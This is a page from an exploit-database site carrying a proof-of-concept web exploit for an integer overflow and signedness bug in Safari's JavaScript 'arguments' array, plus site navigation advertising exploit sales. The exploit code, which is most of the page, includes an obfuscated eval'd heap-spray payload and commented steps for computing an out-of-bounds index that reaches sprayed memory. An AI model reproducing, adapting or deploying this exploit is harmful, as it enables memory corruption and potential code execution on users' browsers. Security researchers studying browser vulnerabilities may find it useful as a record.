0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Safari (Arguments) Array Integer Overflow PoC (New Heap Spray)
[==============================================================
Safari (Arguments) Array Integer Overflow PoC (New Heap Spray)
==============================================================
<BODY>
<CODE id="sploit status"></CODE>
<CODE id="heapspray status"></CODE>
<SCRIPT>
i=0;eval(unescape(("gA#MAAA#Ag#EAEA@ANAAAOAEAE?@gNU@UNUAU#UAUAU?UgUOUEUEUEUUUMUNU?M@MNMAM#MAMAM?MgMOMEMEMEMUMMMNM?N@NNNAN#NANAN?NgNONENENENUNMNNN??@?N?A?#?A?A???g?O?E?E?E?U?M?N??AA#E?A#MAAMAgAgEg@?A????AONgAE#M?ANg#MNO#ENO#M??OAA@M#A???gAAU?AN#MAAN?OAE?A#MaN#EMAANgAAEgA#M#A#?#\
Eg #\
#M NgAN?#?Q? U\
?U AOgA?AAUgAAE#EMAg#N @\
#U ?AAEg##M?N?OggA@ANgAgA?NgE A\
O? AAMg#N@AE#NAEAN?E??MEAOAUAA#@U ?\
AE g##ENMgAgAgA? NA@g##EgM#E?g?U A@#MgEAUAA AMA#A E\
AA A@#gA@ANAAA@#AAN#N??NN#A? g#NU#U#gMMAA MA#AEAA A@#gA@ANA A\
A@ #?AN#???NN#??g##U#U#gMNN#AAN#NAE NN#?AN#?AEg M#E??A AA? ?O#AAOgAAU?A A\
Ug #N#M?aMgA#?gA#ENNAA#@AA#@AA#@AAUE?N?E g##Mg##?g## EgEgMU E?E#M? Aa??A#EAUAAAUAU #\
@A UAAUEUg#MNN#?U#U#UEAO#MNN#AU#U##EAE#MNNa@ #NU##?#?UE Mg#M? ??N?Ug#?AU E?EAEUA#M# ?gO#A#? U\
E? EANUA#M#AUE?EANN?A#?EgE?A#MaAUEMN#M?NgA?U?UU Eg#AU???g#M AUAAA UAAUEg#A#MO #MAUAAA U\
AA UEMU#M?NgA?U?U#E?EUU AOA#?OgA???M?AM?gU?E AOA??ENM??? ?gOM@ gU?EAO A\
MA #AEAAA@AUAU?AAEA E?EgU?EA?UEg#?E? ??NAOM@AOA#? A??? NgA?E A\
E? EgU?EAOA?g@UE? NM?gU?EA?MAAA#N AA#AAA#aAA#AAA# AAA#? U?#Eg A\
UU AUAUAO?EAgME? A??ggg#A@AOAEA N#EAMAEAE?EA?MAAA#NU? #E?N# M?EUN A\
@? @gA#EA@#M?g? UA@AE?NAM#EMAA @AE????gAAOg#NAA @MEA @A@AEg A?AA E\
g# NAAM#MA@AEg#N AAMgNME??AU?NN#M MaM?N?AggA@A ?AAA OAUAAUMA N??A ?\
AA AN?a?N?U?UAO UMAN??AA?AAEU?#EMMAN??A A?A#MgA?A #EMMA N??A?AAa M??# E\
g# ?AgAAA?E?M?A ??gAgAAOMMAU?NMNN E?U??? gME? ?N#A#g #AU ?\
?? gAE#MA#g#A#M ONEg#MOAO??M NNEg #MOM E??N# A#g# A\
#M O#M??M?AUAUg AA??gMANA N ANAN AU?M?#UA??gMA A??U g\
A# EU?UN#UAAAA# NAUAA#E MAA #MNA EA# MN ANME?NUEAOAAAMAU#MA #g# A\
U? ??gAEA#g#A#M O#EgM NEg#gA gAME ?gA??E ?U?UME??AU?NN #?E#MNA? a?A ?\
E? UAO?NA???N@A E#E? A#MAUAAAU A A#E? U#MNA?#?O ?E?UAONA?U?? ?gAO?O AE#NAE A?NA ?\
U? ??gAO#AAEAE# E? ???gAAO?g#M ?U#E? g#N# M#?#E?gAMAM N#?AAE#M ?A#EMA ?OA?NAg@??ggAO #AAU ?\
gA EAE?AAE#M??# EgMNMgAgAgA?NA @?AUO#@ AU?N MNUEg#U AME??N# A#MU# M??#EU NA#UAME? gA@? ?\
gA ???MA@UAA#Ug #EUNA@gA??A@UAM ?#EUNANU? #EUN AUAUgA ANg#g# gA?MM E?gA @?N?A?A NMg #\
g# A@g??AgA?E? U?E???Ng#A@?? ??A? gAg@A@gA? ?A@U AA#AO# E?NA@? a?NgA g#? A?AA??A gEA @\
?? gA?N?g?M? A?NgA?U?E??? N?Ag@N Mg@?NNM? OAU# NMNNE g@NMg@ ?NNM ?OME N#??#M A#A ?\
A? g#gAgAME ?gA??E?U?UA OA#?EAU MEA E#E????g AAO? NA?MEA @A#?Q? Eg#N #?O #M? N?OggA @M#AO? NAE #\
EM A?OAA#A# MaM#NAEgA?O gA??gg A@?N? AggA@AA gAgA ??gAA OAUAA A??? ??g#? AgA g#A@?? ??A??a?@g#A@?M g\
Ag #gAA@?A? AA??Ag??A ?NA?AO ????gA? N?AA@? @?O# EAEU? U?#E?? ??gA AO?AA@ MEA@g# AE?NAMN #?E#Mg# A\
E? NAMAE?A AM#EUNAUA UgAAE ?Ng#UEgA ?A?A? Mg#UA A@?# ??A@? UA@? ?????g#?AgAA @UA?OAN? ?#Na ?AU#AA E\
UN #EA@?@ ?AUNANU?# E??#M ??UO#@AUA O?O#N #N#NA EAEAE ?EAE? ?UOA O?O #N#N#NAEAE?EN@AE #EMA ??N@ #NM E\
N# ?EAAgO ?#?Og#g# #M??N @AMME#E?? #M??U OMEA EAE? ?UO?E AAg O?#? Og#g#AU MEM NgMg M\
N? #?aAAEA @?A?#?E?@AOA#?A ?Eg##?AUA AA@g g?Eg A?OA @MEg# UEg A?A ?A A@?a ?@g# M\
AA UAAU?UNA NU?UEg#UE#M??U E?Ng#AE#M AEAM UE?EU Eg# #Ma@ UEU ?#M# ?UE ?EA g#MA #\
Ug gN AOA#A?A?? #NM?U?A?OANAU#N MNNE?#NM? U?A? OANME N# MA A#g #UEN @#UA EA? #AN#A #\
g# UEAE#M A#g#UEgNA OUMAU#NMN?A?Ug#?A gEN?UAAE #E? NA@? A?# ?EA@? ???gA ?Mg #UAME ?\
g? Ag#UAAEAU# NMNgMNEg#U AAEMEN #MAA#Mg #??NAg#N#MM? AMAaA O#E ?NAg#U#M M?AEA#AO N#N E#MAO ?\
NA EUAAE?NANUAAEA? #A#E?EN?AU U@#MAO? NANN?A #?EgE?A AEA?# A#Eg# Ag# MA#Mg#?NEAMA#AOA E#E# ENEAEA #\
AO AE#EUE?Ng#AEAEg#AgAM #Mg#AgAEA# g#UEUO NEAEg# AgN@ AUAEA ?#AAMAONEAE?EN?AUU@AEAMg#Ag N@A EUE?EUEg#AEAEU EU?A E#MAE U\
E? EAgAE#MA#Mg#?AM AE#EAENEg# MOAOAU AAAUAUg AAN ?U?#? U?A?AA@?@?NUEg#UN?M?A?#?Eg#A@AO?@A#U?AN??A E?N AEA@gA??A@g #UAA @gNUAA #\
Ug #EUNAMUAAO?NA gAEA#AOAE#E UN?Ag #UAAEAU# NMN ?A?Ug#?AgEUNA#???U?U?A ?agAME?gA@?g? NgA ?A?A?g?A U ?#EMA gAgEg@ ?\
A? ???AONUAEAN? ANUAOAE#EMA ggME? A??ggAN? g?# AEggME?A??ggAN?g ?#AOAE#EU NAEA@g#UAA @?A ? ??N?AA NU?UEMU A\
O? ??OMN#EgMgMA #gA?AANAgAN ?A?AN Mg#g##EAN ??# Na?AU#OAEAE? ?#?gO#gA??g#NU#U #MAMgMA gA gAgA?AM A?EAEUA M\
A# @MA?EANUAMA# @gMA@?UA#gEg #gA? A?MAag@?A? a?E ???E?aNAg #ANAagAgAME?gAAgA?N? #gA ?E???NA O?E A??AgA?E?N? N?a?AAEA O\
?A ?Ag@AE?NAA?# ?EA#?EgE?A? ????M g@???N?A?N gAgN UEg#?A gAAA?E?M?A??gAgAU@?A?N? ggA ?OUNA#A? A??U? ??gAOAUAAUAAO?A?A?AUE A\
#? EgE?AU##?#?# ?UAg@gA?NgE UA#@ gO?@U?AUAAAE Ug?E A#g A?NgA gAAgUOANg#gA? Ag#g AgAAOUEAEA A?#?EUE? AgAUE#EA#UU#M?N?Ag? ?\
E? g?U??gAANgAg# UEAN?g?A?NgA M??E UM?NgA?ggA?M?A?Ng Ag#A N?#?Q ?U?U?A?AUNAE AUAA U??EAAgEgA?Ag#AN?U?#?U? A?AM@AUAUA?AUAU ?\
AA EAE?EMN??A?gAgA g@gAgAAA?U?A ?M?O ?NgAMA?E??AO M#AN gA?M? AUEMAAUAA#EMA AUAUAAM ??NAA?NgA?g?AgAAgMg ?AAA?Ag? U\
Eg #?AMOgA?UgAg#ME#@gO# NU##?A?#AME?E?NME #M?? OAAOMU? ?AA?? ?N? AAO?N?N?A?UUEMM??AggA? Ng@g@UEMNAE#EgM M\
?A NNMg@?U?N?a?AAOA?N@AN?UU@NN#?gO#@NAAM? U?O AN N#AE gENAA#?AgAgAME?gNAA ??N?Ag#g@#E N\
?U NAUAUgAA#NM?U?A?AA@???N?A A@Ng M#A? ???U?AAA??ANNO M#ANg@gA? ?\
gA ??gAgEg@?AAN gA? ?ANNE UEA?A?N E?EAO ?\
A? A?AUE AUU @\
NE AUAAU A ?\
NA g#EUNg N\
UA AO?NAg N\
UA #???U? U\
?A ?agAAg? N\
gA ?A?A?g?A N\
Mg A?ANNMAA# ?\
A? ??NgA?EA?## A\
@A NAAA@N?A??? ??gAUE?@AUAA A\
E? NUNA@?AgEgA?Ag#?AANU?g NAOA#A?A??#?U??? #\
?A #MAUAAgA? N?A?A??mE?A?AU??A?O?Eg#??MAgEAUAAUgMA?g U\
#U #MAA OMANN?OAEA#UA?Eg#A#???Eg#AA?N?a ?\
E? gg A??gA?N?A?EANAE?U?NgA?M A\
@? O ?A?Ag@A@?NA#?E? ?\
gA ?\
?ANAOAA#E????gAAO?#aM#g#?aE?#AMAMaE?A#MAOgA#M?AANg#g@?U?EgAAOgAAN?#?E?AgAANgAAO?#AEAEAEAN?E???E?NAOgAANg@??g@AOAEAEAE#E?Ag??A?UAO?AAE#EA?A?AM?#AA#E#aAE#N").replace(/./g,function(c){return" `'^*\\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))
// The index for the "arguments" array in a JavaScript function in
// Safari suffers from a signedness issue that allows access to elements
// that are out of bounds. The index is cast to a signed value before it
// is compared to the length of the array to check if it within the
// bounds. Integer values larger than 0x8000,0000 will be cast to a
// negative value and because they are always smaller then the length,
// they are treated as a valid index.
// The index into the arguments array ends up in instructions
// that multiply it by 4 to access data in an array of 32 bit values.
// There are no checks for overflows in this calculation. This allows us
// to cause it to access anything in memory:
// Pointer to object = base address + 4 * index
// The base address varies only slightly and is normally about
// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
// predictable location using heap spraying, we can then calculate an
// index that will access this memory.
var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
var iTargetArea = 0x10000000;
// Be advised that heap spraying is "upside down" in Safari: strings
// are allocated at high addresses first and as the heap grows, the
// addresses go down. The heap will therefor grow in between a lot of
// DLLs which reside in this area of the address space as well.
// We'll need to find an area of memory to spray that is not likely to
// contain a DLL and easy to reach.
var iTargetAddress = 0x55555555;
// iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
// iIndex = (iTargetAddress - iBase) / 4
var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
// We need to trigger the signedness issue so the index must be larger
// then 0x8000,0000. Because of the integer overflow in the
// multiplication, we can safely add 0x4000,0000 as often as we want;
// the multiplication will remove it from the result.
while (iIndex < 0x80000000) iIndex += 0x40000000
document.getElementById("sploit status").innerHTML = (
"iBase + 4 * iIndex = " +
"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
);
// Set up heap spray
var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
oHeapSpray.oOutputElement = document.getElementById("heapspray status")
// Spray heap asynchronously and call sploit when done.
oHeapSpray.spray(sploit)
function sploit(oHeapSpray) {
// This will cause an access violation using the value 0xDEADBEEF,
// which comes from the strings we sprayed the heap with.
// 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
arguments[iIndex];
}
function DWORD(iValue) {
return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
}
</SCRIPT>
</BODY>
# 0day.today [2024-12-24] #